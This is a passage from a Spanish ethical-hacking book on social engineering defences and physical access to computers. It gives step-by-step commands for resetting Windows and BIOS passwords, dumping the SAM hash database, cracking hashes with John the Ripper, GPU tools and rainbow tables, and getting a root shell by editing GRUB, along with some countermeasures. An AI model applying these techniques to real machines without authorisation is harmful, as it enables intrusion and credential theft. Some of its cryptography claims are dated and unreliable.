empresas se utilizan las buenas prácticas, fichas dibujadas (o digitales) que indican qué hacer en cada situación. Ahora existen algunas empresas que han incluido en sus fichas los riesgos de ataque por social engineering y que proponen soluciones para prevenir o gestionar un ataque. Por ejemplo, algunas buenas prácticas exigen que nunca se dé la contraseña, sea cual sea la razón, y que ésta debe ser suficientemente larga (aunque hoy en día es la utilidad informática la que obliga al usuario a respetar esta última regla). El atacante tampoco tiene que aprovecharse de las situaciones de duda. En tales casos, hay que tomar las medidas necesarias para pararlo. Lo importante es entonces atreverse a preguntar. Es necesario que el responsable de seguridad del Sistema de Información sea claro en el hecho de que no se sancionará nunca a alguien por dudar si tiene que dar o no información confidencial, aunque rechacemos dar la información al gerente por teléfono (salvo que la voz del gerente sea claramente reconocible y no se tenga ninguna razón tangible para dudar de su identidad). Naturalmente, todas estas protecciones no se implantan de un día para otro, sobre todo porque se debe explicar a los colaboradores las razones por las que son necesarias. Realmente, hay que presentar los peligros, utilizando ejemplos como los citados en este libro, sencillos pero pragmáticos o incluso ejemplos adaptados al mundo empresarial, que podemos extraer de una auditoría de test. La última palabra se dirige a los particulares. Si bien a lo largo de este capítulo hemos visto casos relacionados con la empresa, hay que saber que el social engineering ataca también a los particulares. Tenemos ejemplos en nuestro día a día. Por ejemplo, recibimos regularmente emails que intentan engañarnos aparentando que son del banco. Otro ejemplo es que un gran porcentaje de gente recibe SMS o llamadas telefónicas pidiéndoles que den los datos de la tarjeta bancaria para poder proseguir con un pago cuando hubiera bastado simplemente con el código del reverso de ésta. Las protecciones contra el social engineering son simples: estar atento, reflexionar un poco sobre la confidencialidad de los datos y jamás confiar en un interlocutor o en su historia, salvo que se trate de una persona formalmente identificada. Condiciones generales de uso Copyright - ©Editions ENI Para ir más lejos El social engineering ocuparía un libro entero por sí solo, o incluso una colección de libros ya que el tema es antiguo (más incluso que la informática o la psicología contemporánea), se practica (los niños, los vendedores, los amantes) y se estudia. Y es a fuerza de lecturas y prácticas como se forman los mejores ingenieros sociales. En cuanto al uso de la manipulación, hay que tener en mente que debido a que abarca muchos ámbitos y dominios -desde la encuesta privada a inteligencia mercantil-, se especializa cada vez más. Además, esta especialización no es necesariamente restrictiva. De este modo, este capítulo ha pretendido ser más bien una introducción que una guía realmente práctica. Si quiere profundizar en la materia, existen varios libros. Para empezar, por supuesto, un libro que ya hemos citado, el Libro de Kevin Mitnick, El arte del engaño. Otra referencia en este ámbito es el libro de Dale Carnegie, ¿Cómo ganar amigos?, escrito en... ¡1926! Internet también rebosa documentación. Si en Google buscamos los términos "social engineering" nos conducirá a muchas obras. Finalmente, para discutir la evolución actual acerca de lo social, sería también muy interesante leer trabajos de investigación relacionados con la psicología. Un atento lector de la primera edición de la presente obra nos ha propuesto especialmente la apertura hacia la programación neurolingüística (trabajos de Grinder y Bandler) o las diferentes trampas psicológicas (obras de Laswell y Le Senne). Aunque dichas obras no están dedicadas a la manipulación social en el ámbito de la seguridad informática, merecen una atención especial porque tratan ampliamente el comportamiento humano frente a las diversas situaciones que un ingeniero social puede provocar. Generalidades Hay que reconocer que, a menudo, el aseguramiento de los accesos al hardware informático en las empresas o en ciertas administraciones deja mucho que desear. Para convencerse basta con hacer la prueba y ver con qué facilidad, con un pretexto cualquiera, una persona ajena al servicio puede acceder a ordenadores u otros recursos informáticos del personal. En efecto, tan seguro es el acceso a servidores, routers y otro hardware de administración informática en medianas o grandes empresas que incluso están en una sala especializada cerrada con llave; como relativamente accesibles son los ordenadores de producción o los administrativos. Cuando se realiza la pregunta sobre el acceso al hardware al personal, éste relativiza generalmente el problema y responde que no tiene acceso a información confidencial, que la empresa funciona así desde hace años y que jamás han tenido el más mínimo problema. Algunas veces hasta se elude la pregunta con el pretexto de que jamás se ha proporcionado ningún tipo de información ni, incluso, formación al personal. Si nos trasladamos a las pequeñas empresas, el problema es aún más grave. Los ordenadores, con frecuencia, son fácilmente accesibles e incluso todos utilizan una misma cuenta de usuario, a menudo con una única contraseña (¡si la hay!). Sin embargo, el acceso físico a un ordenador puede tener consecuencias desastrosas para una empresa y en las demostraciones siguientes vamos a ver que existen formas de apropiarse de datos confidenciales una vez que tenemos acceso (incluso restringido) a una máquina. En las páginas siguientes, las indicaciones [1] a [35] indican las entradas del índice de páginas web del final del capítulo. 1. Lockpicking No se puede hablar de acceso físico a un ordenador sin hablar de lockpicking [1], o la habilidad de abrir cerraduras en español. Es posible encontrar muchos sitios web explicando todas las técnicas que se pueden usar así como las herramientas necesarias. Éstas pueden crearse artesanalmente o comprarse por Internet. Estos sitios web están extremadamente bien documentados, no dedicaremos más tiempo a estas técnicas. Acceso físico directo al ordenador Son posibles dos casos cuando se produce un acceso físico a una máquina:  El ordenador está apagado;  El ordenador está encendido. 1. Acceso a un ordenador apagado cuya BIOS está protegida Siempre deberíamos encontrarnos con esta situación, ya que para acceder se requiere realizar acciones físicas en el ordenador para poder reiniciar la BIOS. Esto exige tener tiempo por delante y estar solo, lo que siempre atrae la atención de un posible miembro del personal circulando por los alrededores. En efecto, para poder iniciar el equipo tendrá que borrar la contraseña de la BIOS. Para ello, es necesario abrir el ordenador para acceder a su placa base. Todas las manipulaciones que se explican a continuación tienen que realizarse obligatoriamente con el ordenador apagado. Primero hay que buscar el componente llamado CMOS. Éste contiene en su memoria la fecha, la hora y varios parámetros, entre los que se encuentra la contraseña. Para borrarla, habrá que vaciar el contenido de esta memoria. Hay dos posibilidades, según la placa base:  Si ésta tiene un conector CMOS dotado de un jumper, habrá que desplazarlo durante unos instantes a otras posiciones de este mismo conector (identificadas a menudo como CMOS CLEAR - CLR - CLRPWD - PASSWD - CONTRASEÑA - PWD) y después volverlo a colocar en su posición inicial. Esta acción tiene como efecto la creación de un ligero cortocircuito que vacía la CMOS.  Si la placa base no tiene ningún jumper de este tipo, hay que quitar durante unos minutos o varias horas la pila de botón de la placa base. ¿Pila o jumper? En algunos casos el ordenador está equipado con una memoria eeprom y la contraseña está guardada en ella, así pues el hecho de desconectar la pila no borrará la contraseña. A menudo escuchamos o leemos que hay contraseñas universales para cada BIOS. De hecho, es una vieja realidad, en cuanto a la BIOS award, sólo a partir de la versión 4.51 deja de haber una contraseña genérica. En Internet encontramos incluso listas de contraseñas para las distintos tipos de BIOS según su época. Estos métodos no permanecieron en secreto durante mucho tiempo, algunos constructores (Toshiba) incluso encontraron otros. En el momento en el que arrancaba la máquina, la BIOS enviaba un señal a la salida del puerto paralelo y comprobaba si la recuperaba por la entrada. Si era así, no se realizaba ninguna comprobación de contraseña. Sólo era necesario conectar la salida y la entrada para crear un bucle en el que se mandaba la salida directamente hacia la entrada. Otra técnica era la de tener apretada la tecla [Insert] al iniciar la máquina. De hecho, los constructores de ordenadores prefieren las soluciones que obligan al usuario a usar sus servicios tanto para asegurarse que éste es el propietario de la máquina como para facturarle el servicio. El programa cmospwd Existe un sistema para desencriptar las contraseñas de la BIOS. Se trata de la utilidad CmosPwd, pero para usarla hay que disponer de un acceso al ordenador encendido. Así pues, poner una contraseña en la BIOS para el arranque es una buena medida de protección, ¿pero cuántos de nosotros lo hacemos realmente? 2. Acceso a un ordenador apagado cuya BIOS no está protegida Para todos y cada uno de nosotros, un ordenador apagado no parece presentar problemas de seguridad ya que desde el momento en que se enciende pide un usuario y una contraseña para iniciar la sesión. Esto sería verdad si no fuera por las posibilidades que ofrecen algunos sistemas, como los liveCD y las memorias USB de arranque, por nombrar sólo un par. Estas tecnologías relativamente recientes y que están tan de moda se adaptan a todo tipo de sistema operativo y, a menudo, se utilizan para operaciones de mantenimiento técnico. De hecho, permiten, por ejemplo, resolver problemas de pérdida u olvido de contraseña. Si están en malas manos veremos, a continuación, qué es lo que puede hacerse. a. Utilización de Offline NT Password & Registry Editor v110511 Este programa [2] tan pequeño (sólo ocupa 4 MB) disponible en liveCD y ahora en memoria USB permite reinicializar la contraseña de los usuarios locales en diferentes sistemas Windows, desde la versión Windows NT a la versión Windows 7, pasando por 2000, XP, 2003, 2008 y Vista. De este modo, podemos poner en blanco la contraseña del administrador e incluso añadir un usuario en el grupo de administradores locales, dándole así derechos de administración. La versión 110511 (11/05/2011) ha corregido algunos bugs en el modo de edición del registro. Una pequeña observación, a partir de Windows XP tenga cuidado de no poner en blanco una contraseña de administrador si tiene archivos encriptados con EFS (Encrypting File System) ya que esta misma contraseña sirve para la encriptación de las claves necesarias para EFS. Usarlo no es nada complicado, los habituados al sistema Linux no se sentirán desorientados. Para los demás, queda el consuelo de que es el coste que hay que pagar para poder recuperar rápidamente el acceso a la máquina. Hay que arrancar con el liveCD o la memoria USB de arranque. En la mayoría de los ordenadores actuales, pulsar [F12] en el inicio nos permitirá escoger el dispositivo de boot, elegiremos en este caso el CD. El sistema se carga y nos encontraremos con una interfaz austera (ligereza obligada). Apretamos solamente [Enter]. Boot con el liveCD La primera pantalla nos solicita con qué partición queremos trabajar, generalmente la elección (1), propuesta por defecto, es la buena y basta con pulsar [Enter]. Si existe un doble boot Windows, habrá que elegir la partición que tiene el sistema al que queremos acceder. Elección de la partición de sistema A continuación, debemos darle la ruta por defecto del directorio en el que se encuentra el registro. Generalmente nos mostrará en pantalla el correcto (windows/system32/config) y solamente deberemos pulsar [Enter]. Ruta del registro La pantalla siguiente muestra un menú, aquí también dejaremos la elección por defecto que nos propone borrar una contraseña (1). Elección de la acción que se ejecutará Un menú intermedio nos propone a continuación editar la base de datos de usuarios, la validamos y a través de una última pantalla tenemos ahora la opción de poner en blanco la contraseña, de redefinir la contraseña (usar con precaución en XP y Vista), de promocionar una cuenta normal a administrador y de desbloquear una cuenta bloqueada. Elegimos borrar la contraseña de administrador (1) y pulsamos [Enter]. Reset de la contraseña de administrador A continuación, tenemos que salir de los menús pulsando sucesivamente ! seguido de q y finalmente y para confirmar los cambios en el registro. Volvemos a la pantalla de inicio, en la que sólo tenemos que seleccionar la opción por defecto (n) para salir de la aplicación. Reiniciamos la máquina, que mostrará una pantalla que nos propone comprobar la integridad de uno de los discos (acabamos de modificarlo), se debe ignorar esta comprobación. Comprobación de la integridad de los discos Y ya está, ¡sólo tenemos que identificarnos como administrador sin introducir ninguna contraseña! También hemos podido observar que es posible reactivar e incluir una cuenta cualquiera en el grupo de administradores (invitado, por ejemplo). Esto permite a una persona malintencionada permanecer discreta y tener una cuenta con derechos de administración. b. Utilización de Trinity Rescue Kit En el mismo género, pero funcionando en Windows 7, Vista, XP, 2003 y 2008, existe un liveCD llamado Trinity Rescue Kit [3] que funciona más o menos de la misma forma. Obtenemos este liveCD y lo grabamos. Arrancamos, a continuación, con éste desde la máquina en la que queremos adquirir permisos de administración. La pantalla de inicio nos invita a elegir una acción en el menú que se muestra. Como podemos observar, se nos ofrecen muchas funcionalidades, la ayuda en línea es muy explícita en caso de duda. Nos interesa la opción Windows password resetting del menú. Ésta nos llevará a una pantalla que nos propone otras elecciones como, por ejemplo, poner en blanco la contraseña de administrador o elegir en modo interactivo un usuario al que se le quitará la contraseña. Una de las opciones interesantes del menú es la que propone poner la base de datos SAM en un estado original, lo que es muy práctico para pasar inadvertido. c. Obtener la base de datos SAM con Backtrack Como acabamos de ver, se puede borrar la contraseña del administrador para conectarse en su lugar, pero éste método ni es discreto ni es reutilizable. Para un pirata, es más interesante recuperar la contraseña del administrador o de un usuario para poder conectarse más veces y configurar la máquina para un acceso remoto más discreto (backdoor). En Windows, existe un método que permite recuperar (volcar, del inglés "dump") rápidamente la base de datos SAM en la que se almacenan y se encriptan los usuarios y sus respectivas contraseñas. Para ello, utilizaremos un liveCD Linux que ha adquirido gran fama y respeto en el mundo de la seguridad informática, la distribución Backtrack cuarta edición. Ésta puede instalarse o ejecutarse desde un liveCD. Reúne multitud de utilidades de pentesting para auditar sistemas informáticos y contiene especialmente todo lo necesario para obtener esta base de datos de usuarios de Windows. La obtención de la base de datos SAM es muy rápida y permite que más tarde se pueda trabajar en casa para desencriptar las contraseñas. Para esto último existen múltiples métodos, como se verá a continuación. Por ahora, centrémonos en la extracción de esta base de datos. Recuperamos la imagen ISO del sitio de Backtrack [4], lo grabamos e iniciamos la máquina víctima arrancando desde el CD. La distribución arranca y nos deja en el intérprete de comandos. Realizamos el login con la cuenta root y la contraseña toor. Atención, si por cualquier razón el teclado no es el adecuado, hay que introducir el comando loadkeys es. Aunque podemos trabajar en modo consola, pasaremos al entorno gráfico para descubrir todas las funcionalidades de Backtrack. Para ello, hay que introducir startx en la consola. De nuevo, se nos ha desconfigurado el teclado. Para volverlo a poner en español seleccionamos en el menú System - Preferences - Keyboard y elegimos un teclado español. En principio, utilizando un liveCD, el acceso a los datos que se encuentren en el disco duro del equipo atacado no es inmediato. En efecto, un liveCD usa un ram disk que es de hecho una parte de la memoria RAM que se utiliza como si fuera memoria de almacenamiento. Para tener acceso a los datos que están en el disco de la máquina atacada y, en particular, a la base de datos SAM hay que colgar la partición que la contiene en el sistema de archivos de nuestro liveCD. A esto se le denomina "montar" una partición. Ahora, tenemos que montar la partición Windows (Windows 7, por ejemplo). Habremos tenido la precaución de ver el número de ésta y de crear un directorio sda2 en el directorio /mnt del sistema Backtrack/. Para hacerlo, hay que abrir un terminal y utilizar este conjunto de comandos: fdisk -l mkdir /mnt/sda2 mount -t ntfs-3g /dev/<partición> /mnt/sda2 -o force ls /mnt/sda2 Con la partición ya montada, vamos a usar la utilidad Samdump2 para recuperar las hash de la base de datos SAM. Las hash son las huellas criptográficas de las contraseñas obtenidas a través de una función de hashing. Para desencriptar la base de datos SAM, necesitamos la clave de encriptación que se ubica en el equipo Windows clásico en esta ubicación: c:\Windows\ system32\config\SYSTEM; la recuperamos mediante la utilidad bkhive y la almacenamos en el archivo key.txt. Ahora podemos recuperar con SamDump2 y esta clave la base de datos SAM que se encuentra aquí: c:\Windows\System32\SAM. La siguiente línea de comandos exporta la base SAM a un archivo de texto que se podrá transferir a una llave USB, por ejemplo: d. Windows Password Recovery Bootdisk Windows Password Recovery Bootdisk [5] es una utilidad de recuperación de hash de Rixler Software. Podemos decargarla muy fácilmente e instalarla en nuestra versión de Windows. Basta con iniciarla a continuación para crear un disco de arranque que recuperará los hash y los mostrará o los enumerará en un archivo en función de nuestra elección. Como acabamos de observar, el problema de una instalación por defecto de Windows es que la clave de cifrado usada se encuentra en el ordenador. Existe un método para evitar la extracción de la base de datos SAM. Podemos almacenar la clave de cifrado fuera del ordenador local gracias a la utilidad syskey proporcionada por Microsoft que permite almacenarla en un soporte extraíble, la restricción está en que siempre hay que tenerlo para arrancar el PC. En un intérprete de comandos Windows, escribiremos syskey. Se abrirá una ventana en la que podemos ver que, por defecto, es obligatoria la encriptación para proteger la base de datos de cuentas Windows. Hacemos clic en el botón Actualizar. Se abrirá un segundo cuadro en el que podremos definir una contraseña de inicio del sistema y almacenarla encriptada en un disquete. La prueba siguiente, realizada con Trinity Rescue Kit, muestra que se ha quitado la syskey. Poner en blanco la contraseña resulta imposible. e. Los distintos tipos de algoritmos de encriptación En esta sección, vamos a estudiar los distintos métodos de encriptación [6]. Clave compartida/simétrico Es el cifrado más clásico que se puede encontrar. Los algoritmos presentados a continuación son estándar. Han sido validados y revisados por la comunidad de Internet internacional y sobre todo están muy bien documentados tanto a nivel de sus puntos fuertes como de sus debilidades. El algoritmo IDEA es un algoritmo suizo muy potente. Espina dorsal de PGP, es muy rápido y puede usar claves de hasta 128 bits. Es un algoritmo de alta seguridad. El algoritmo Blowfish es un algoritmo de cifrado de 64 bits bastante reciente. Creado por Bruce Schneier, referente mundial en términos de criptografía, puede usar hasta claves de 448 bits. Es muy rápido y mucho más potente que el DES. Se utiliza en aplicaciones militares. El algoritmo RC4 es una utilidad de cifrado rápida utilizada por SSL. Se considera segura en su implementación de 128 bits. El algoritmo DES es el estándar industrial. Es rápido, pero bastante inseguro. Es el más utilizado de todos los algoritmos de encriptación, aunque todos los expertos coinciden en que es mejor evitar su uso. Clave pública/asimétrico Algunos algoritmos, descubiertos a finales de los años 70, funcionan en un sistema con dos claves. Una clave para encriptar datos y otra para desencriptarlos. Así, si se dispone de una clave y del mensaje cifrado, es extremadamente difícil encontrar la otra clave. El algoritmo RSA es un criptosistema de clave pública que se basa en el hecho de que cuanto más grande son los números, más tiempo dura su descomposición en factores primos (de hecho, crece exponencialmente). Es el sistema de clave pública de PGP. Los algoritmos One Way Digests Son algoritmos de hash que transforman una cadena de caracteres de tamaño variable en un hash de tamaño fijo. Se utilizan para firmar electrónicamente un mensaje basándose en que es prácticamente imposible que dos mensajes puedan tener la misma firma digital. Esto asegura la integridad del mensaje transmitido. Los algoritmos MD5 (128 bits message digest) y SHA (160 bits message digest) permiten asegurar que un mensaje no ha sido alterado. f. Los hash de tipo LM y NTLM Nos vamos a interesar por los hash recuperados del volcado de la base de datos SAM. Son hash Windows del tipo LM y NTLM. Lan Manager es un protocolo que empezó a usar Microsoft en junio de 1987 para los clientes limitados en la época del DOS, Windows 3.1 y OS2. NTLM fue su sucesor para Windows NT. Para comprender las debilidades de NTLM, hay que entender el funcionamiento de LM. Lan Manager utiliza una clave de hash para transformar un código de tamaño variable en un código fijo. Para ello, aplica una función matemática en la contraseña. La contraseña puede contener hasta catorce caracteres. Si ésta es más corta, LM añade ceros para llegar hasta los 14 caracteres. A continuación, pasa la contraseña a mayúsculas y la divide en dos partes de 7 caracteres (es el punto débil de este método). Se construye una clave DES (Data Encryption Standard) de 56 bits (7x8) a partir de las dos mitades de 7 bytes. A continuación, se concatenan para obtener una clave de hash de 16 bytes. La debilidad de este procedimiento reside en el hecho de que la división en dos partes nos hace utilizar un cifrado de 56 bits para dos palabras de 7 bytes en vez de un cifrado de 112 bits (14x8) para una palabra de 14 bytes. Además, el algoritmo DES de 56 bits no se recomienda actualmente y el organismo americano NIST aconseja el uso de triple DES. Generalmente, se recomienda utilizar el protocolo NTLM v2 que cifra con 128 bits y utiliza un sistema "desafío-respuesta". g. Utilizar John the Ripper para encontrar las contraseñas John the Ripper [7] es lo que se llama un rompedor de contraseñas. Vamos a usarlo en contraseñas Windows pero también puede usarse en contraseñas Linux o de otro tipo. Para comprender su funcionamiento, hay que saber que generalmente los algoritmos de autentificación son asimétricos. De este modo, cuando un usuario introduce una contraseña, ésta se cifra mediante un algoritmo y se almacena de esta forma. En la siguiente conexión del usuario, la contraseña se encriptará con el mismo algoritmo y se comparará la clave cifrada resultante con la que hay almacenada. John the Ripper también funciona de este modo. Genera contraseñas y las encripta con este mismo algoritmo para encontrar la concordancia con la forma encriptada contenida en el archivo hash.txt recuperado anteriormente. A esta forma de trabajar se le llama comúnmente de fuerza bruta. El comando para ejecutar John es muy simple, basta con indicarle la ruta del archivo hash: john hash.txt El cracker de contraseñas John the Ripper Una pulsación sobre alguna tecla nos indicará las pruebas del proceso y su duración. Si se quiere ver el progreso del crack de contraseñas, basta con reintroducir el comando anterior con el argumento --show : john --show hash.txt Visualización del avance del crack Cuando lanzamos John sin ninguna opción, funcionará según tres modos, del más rápido al más lento:  El modo single o modo simple;  El modo wordlist o diccionario [8];  El modo incremental. Se presentan estos tres modos en el orden siguiente: del más rápido al más lento. El modo simple utiliza los logins de los usuarios y les aplica reglas [9] definidas en el archivo john.conf. El modo wordlist o diccionario permite especificar a John que utilice un archivo de texto que contenga una palabra o expresión por línea. Los hay muy grandes y se pueden encontrar por Internet, en muchos idiomas y disponibles en muchos sectores de actividad. Por defecto, y sin precisar nada por nuestra parte, John usará su diccionario predeterminado que se encuentra en /usr/share/john/password.lst. En caso que queramos usar un diccionario específico, el comando que se debe ejecutar es muy simple, basta con lanzar John como se ha hecho anteriormente y añadirle la opción --worldlist y especificar la ubicación del diccionario: john --wordlist:/usr/share/john/password.lst hash.txt Fuerza bruta en modo diccionario El modo incremental comprueba todas las combinaciones de caracteres en un rango dado y con un juego de caracteres que se debe definir, este modo es muy largo (pudiendo llegar a tardar hasta algunos años) y nunca se lleva a cabo. Si se observa el resultado de John podremos ver que, en efecto, el descifrado de una contraseña de tipo LM se realiza en dos partes. Tomemos, por ejemplo, la contraseña de la cuenta administrador. Podemos constatar que se descodifica una primera parte, (Administrador:1) ROCKMYR, y a continuación una segunda, (Administrador:2) OOT. Juntando estas dos partes, obtenemos la contraseña final que es ROCKMYROOT. h. Utilizar la potencia de la tarjeta gráfica Se puede usar la potencia de nuestra tarjeta gráfica para crackear una contraseña. NVIDIA ha desarrollado CUDA que es una arquitectura de procesamiento en paralelo que permite decuplicar la potencia de cálculo del sistema utilizando la potencia de los procesadores gráficos (GPU). CUDA permite asignar tareas a la tarjeta gráfica más fácilmente. Accedemos de hecho a una fuente de potencia de cálculo enorme. Las CPU actuales no superan los 50 GigaFlops, mientras que las GPU ya han sobrepasado la barrera del TeraFlop. El término FLOPS es un acrónimo (Floating point Operations Per Second). El número de FLOPS se ha convertido en una medida de velocidad de un sistema informático. De hecho, los programas capaces de explotar estas GPU han aparecido principalmente con el fin de reducir la duración de una operación. CUDA-Multiforcer es uno de estos programas y se utiliza en el cracking por fuerza bruta de los hash MD4, MD5, NTLM y SHA1. Funciona en Linux, Windows y Mac OS. Para utilizar CUDA-Multiforcer habrá que descargar primero CUDA de la página oficial de NVIDIA [10] e iniciar el script de instalación después de haberlo transformado en ejecutable. Para utilizar esta tecnología nuestra tarjeta gráfica deberá ser como mínimo igual o superior a la gama de las GeForce 8. Podemos verificar la compatibilidad de nuestra tarjeta gráfica en el sitio web de NVIDIA [11]. Seguidamente, debemos descargar CUDA-Multiforcer [12] y descomprimirlo para usarlo: tar jxvf CUDA-Multiforcer-Linux-*.tar.bz2 cd CUDA-Multiforcer-Linux El uso de CUDA-Multiforcer es muy simple, la sintaxis de uso resumida del comando es la siguiente: ./CUDA-Multiforcer -h {hash type} -f {hash file} -c {caracters} -min {min length} -max {max length} Con:  hashtype: MD4, MD5, NTLM o SHA1.  hash file: archivo de texto con un hash por línea.  caracters: archivo que incluye los caracteres que se deben usar.  min length: longitud mínima de la contraseña.  max length: longitud máxima de la contraseña. Cryptohaze - Multiforcer [13] es la última versión de CUDA-Multiforcer (1.1). Se utiliza del mismo modo que CUDA-Multiforcer. Además, permite usar las rainbow tables (tablas arco iris), podemos descargar algunas de ellas o, para contraseñas de longitud 6, permite la conexión de tablas web lo que evita la descarga de las mismas. Ejemplo de comando ./GRTCrack-CUDA -h NTLM -f hashntlm --tableurl http://freetables.cryptohaze.com/webtables.php i. Utilización de tablas arco iris (rainbow tables) Un método muy eficaz y más rápido para desencriptar contraseñas es el uso de tablas rainbow o arco iris en español. Una tabla rainbow en criptografía es una estructura de datos que permite encontrar una contraseña a partir de su hash. Se compone de pares de contraseñas. Cada línea tiene una contraseña de inicio y una hash de destino. La tabla se calcula sometiendo la contraseña inicial a una gran serie de reducciones y hash sucesivos para obtener elementos intermedios que son las nuevas contraseñas y las hash correspondientes. La función de reducción transforma un hash en una nueva contraseña. Esta función es coherente, es decir, siempre devuelve la misma contraseña cuando se le pasa por parámetro una misma hash. Para evitar problemas de colisión, se utilizan varias funciones de reducción. Estas operaciones se repiten miles de veces y se obtiene un hash al final de la cadena. Éste se almacenará con la contraseña de origen, por motivos de espacio no se guarda el resto de la cadena generada. Sin embargo, podemos encontrar esta cadena recalculándola a partir de la contraseña de origen conservada. Se pasa a la siguiente línea y se repite la operación hasta construir una tabla cuyas estadísticas son suficientes para garantizar el éxito en el ataque. Para explicar más claramente este principio diremos que P es la contraseña original, H es la función de hash aplicada y R1,R2... las distintas funciones de reducción dada una contraseña. La cadena se crea de la siguiente forma: P==>H(P)==>R1(H(P))==>H(R1(H(P)))==>R2(H(R1(H(P))))==> H(R2(H(R1(H(P)))))... Todo esto parece complicado, intentemos ilustrar el funcionamiento de las tablas Rainbow con un ejemplo: Generación de una tabla rainbow de dos líneas Comencemos por un caso muy trivial, intentemos crackear el hash 1962cae5. Éste figura directamente en la línea 2 de la tabla y está asociado con la contraseña tiot y, como ya hemos dicho, ésta no se almacena en la tabla. Por lo tanto, vamos entonces a regenerar la cadena. Tomemos la contraseña inicial que es kore, la pasamos a la función de hash, lo que devuelve 956ace4. A continuación, se le aplica la función de reducción que ha servido para generar la tabla, ésta nos devuelve la contraseña tite. Se continúa con la manipulación de hash y las reducciones consecutivas hasta que se nos devuelve la contraseña agne, una nueva manipulación de este tipo y obtenemos la contraseña tiot, pasamos la función de hash y recuperamos el hash 1962cae5, la contraseña es, por lo tanto, tiot. Éste es un caso ideal, ya que el hash figuraba directamente en la tabla. Intentemos ahora crackear el hash 4455c08b que no figura en la tabla Rainbow del ejemplo. Aplicamos la función de reducción sobre el hash 4455c08b lo que nos devuelve la contraseña fasm, le pasamos a ésta la función de hash y nos devuelve el hash 1958ef5d. Éste figura en la tabla rainbow en la primera línea. Retomamos la contraseña inicial que es code y, como para el primer caso, reconstruimos la cadena. En dos pasos de hash-reducción obtenemos la contraseña brix que, una vez pasada por la función de hash, nos devuelve el hash 4455c08b. Hemos encontrado entonces la contraseña brix, que corresponde al hash buscado 4455c08b. j. Generar sus propias tablas rainbow Ahora que entendemos cómo funcionan las tablas Rainbow, hay que obtenerlas. Tenemos varias alternativas, se pueden obtener descargándolas de Internet [14], una simple búsqueda en Google debería proporcionarnos los enlaces para descargarlas. También existen algunas páginas web que nos ofrecen hacer todo el trabajo gratuitamente por nosotros a cambio de un poco de tiempo de nuestro procesador para crear las tablas rainbow para la comunidad. El sitio freerainbowtables [15] es uno de ellos, sólo tenemos que registrarnos y descargar el cliente. También podemos, si tenemos sitio para almacenarlas, optar por crear nuestras propias tablas rainbow. Existen utilidades, rtgen en Linux y winrtgen [16] en Windows, que permiten generarlas. A continuación, estudiaremos winrtgen que ofrece una interfaz gráfica más amigable. Con winrtgen se pueden generar tablas para los algoritmos de encriptación LM, FastLM, NTLM, CiscoPIX, MD2, MD4, MD5, SHA-1, SHA-2 (256), SHA-2 (384), SHA-2 (512), MySQL (323), MySQL (SHA1) y RIPEMD160. Para utilizar winrtgen, basta con descargar y ejecutar el ejecutable wintrgen.exe. Generador de tablas rainbow: el programa winrtgen Se abrirá una interfaz de inicio y deberemos añadir una tabla. Creación de tablas Rainbow para un algoritmo de encriptación LM Se abrirá una segunda ventana y podremos actuar en base a distintos criterios. De este modo, podremos elegir el algoritmo de encriptación, la longitud mínima y máxima de la contraseña, el índice de la tabla, cuántos hash tendrá la cadena, el número de cadenas en un archivo y el número de tablas. También elegiremos el juego de caracteres (letras, alfanumérico...) a partir del cual queremos generar la tabla. Las propiedades de la tabla nos indican el espacio ocupado por las tablas así como la tasa de éxito del crackeo de la contraseña. Si apretamos el botón Benchmark, podremos visualizar el tiempo estimado para generar las tablas. k. Utilizar OPHCRACK Ophcrack es un programa de referencia en la utilización de tablas rainbow. Se puede encontrar fácilmente en Internet, la versión actual es la 3.3.1. Está disponible para Windows y Linux. En la instalación, el programa propondrá la descarga de las tablas rainbow para XP (small y fast) y Vista (free). Instalación de OPHCRACK y descarga de las tablas rainbow básicas Ejecutamos OPHCRACK. En primer lugar, hay que declarar las tablas que se utilizarán haciendo clic en el botón Tablas. Las tablas descargadas se encuentran en c:\ProgramFiles\ophcrack\tables. El programa OPHCRACK Declaración de tablas rainbow A continuación, hay que cargar el archivo de hash, que se obtuvo cuando se realizó el dump de la base de datos SAM, mediante el botón Load y hacemos clic en el botón Crack. Esta forma de actuar es muy eficaz y rápidamente se irán mostrando las contraseñas. Bastará con apenas un minuto para recuperar la mayor parte de éstas, entre ellas la del administrador, ¡impresionante! Resultado del descifrado de contraseñas l. Utilización del programa Cain&Abel No se puede hablar del descifrado de contraseñas sin nombrar la famosa caja de herramientas de auditoría de seguridad Cain&Abel. Se trata de un programa multifunción que integra una parte de búsqueda de contraseñas que permite elegir el modo de descifrado (fuerza bruta, rainbow...). El programa Cain&Abel Cuando ejecutamos Cain&Abel, nos encontramos ante un panel de funcionalidades impresionante. Nos interesa la pestaña Cracker. A la izquierda, se enumeran todos los algoritmos que soporta Cain&Abel. Vamos a buscar el archivo de hash haciendo clic en el signo +. Se abrirá una ventana en la que podremos especificar la ubicación en la que se encuentra este archivo. A continuación, seleccionamos todos los hash en la ventana y hacemos un clic con el botón derecho del ratón, que mostrará un menú. En este menú, escogeremos Tablas ophcrack, le indicaremos dónde se encuentra la tabla que queremos usar y ejecutaremos el programa de descifrado. Se abrirá una ventana indicando el progreso y se mostrará el resultado final en el panel principal. Uso de tablas rainbow en Cain&Abel Elección del modo de crack Todo lo que se ha dicho anteriormente también es totalmente válido para los sistemas Linux. El algoritmo md5 es, sin embargo, más resistente al crack y por ello puede tardar más tiempo en encontrar la contraseña. Cabe decir que Linux no está a salvo de los fallos. Basta citar el famoso fallo del GRUB [17] para convencerse de ello. El GRUB en Linux es lo que se llama un boot loader, es decir, permite elegir el inicio de un sistema entre varios instalados en una máquina. Nos permitirá, por ejemplo, escoger entre el arranque de Linux o de Windows. El boot loader GRUB En realidad, es fácil editar el GRUB pulsando simplemente la letra e (editar) al inicio de éste. Elegimos la segunda línea y la modificamos cambiando ro (read only) por rw (read-write) y añadiendo init=/bin/bash, pulsamos [Enter] para validar la modificación y b (boot) para continuar con el inicio del ordenador. Nos encontraremos ante una consola de intérprete de comandos root (superusuario). Edición de GRUB Modificación de GRUB La contramedida es fácil de implementar. Basta, de hecho, con poner una contraseña en GRUB. Se debe crear en una primera fase la contraseña encriptada en md5. El comando a usar es grub-md5-crypt y seguidamente se debe introducir una contraseña y confirmarla. La contraseña queda encriptada en md5 y obtendremos una cadena de caracteres incomprensible que comúnmente se suele llamar un hash. A continuación, editamos el archivo /etc/grub/menu.lst y justo debajo de la línea time out insertamos password --md5 <el hash generado>. Para editar GRUB, ahora tenemos que introducir p e introducir la contraseña. Existen otros fallos en Linux pero enumerarlos aquí sería demasiado extenso. Modificación del archivo menu.lst m. Utilización del script Findmyhash Findmyhash.py [18] es un script Open Source escrito en Python que 